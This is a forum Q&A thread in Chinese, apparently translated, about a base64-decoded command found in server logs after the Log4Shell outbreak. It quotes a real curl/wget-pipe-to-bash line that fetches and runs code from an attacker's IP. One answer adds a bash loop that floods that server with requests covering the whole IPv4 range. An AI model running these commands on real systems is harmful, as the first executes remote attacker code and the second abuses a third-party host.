当curl命令的地址中有一个/时,这意味着什么?

当curl命令的地址中有一个/时,这意味着什么?

在最近的 log4j 问题之后,我正在查看我的服务器日志,并看到一个有趣的命令,它是 base64 编码的(解码版本如下):

(curl -s 195.54.160.149:5874/66.228.37.152:80||wget -q -O- 195.54.160.149:5874/66.228.37.152:80)|bash

我很感兴趣,因为我没有看到针对/服务器名称/ip 中带有 a 的主机的curl 命令。这是什么意思?我想知道这是否是某种欺骗源 IP 的方法,这毫无意义。也许是子网设置(对我来说也没有意义)?

答案1

这并不意味着任何异常:斜杠将主机和端口与路径分开。

curl 195.54.160.149:5874/66.228.37.152:80

/66.228.37.152:80将连接到 195.54.160.149 上的端口 5874 并请求使用识别的资源

GET /66.228.37.152:80 HTTP/1.1

66.228.37.152:80您可以通过在 Web 服务器上托管一个名为的文件来自行设置类似的内容。服务器对路径的实际操作取决于服务器所有者的设置。

答案2

您正在看到 Log4Shell 漏洞在野。就像上面其他人所说的那样,它正在警告来源,他们发现了一个可利用的节点。您特别链接的节点是一个俄罗斯节点,与我的日志中显示的节点相同 - 我开始回复同一台服务器,试图掩盖他们可能发现的任何内容。

for firstoctet in {0..255}; do
  for ip in ${firstoctet}.{0..255}.{0..255}.{0..255}; do 
    curl -s 195.54.160.149:5874/${ip}:80 
  done
done

https://blogs.vmware.com/security/2021/12/investigating-cve-2021-44228-log4shell-vulnerability.html

相关内容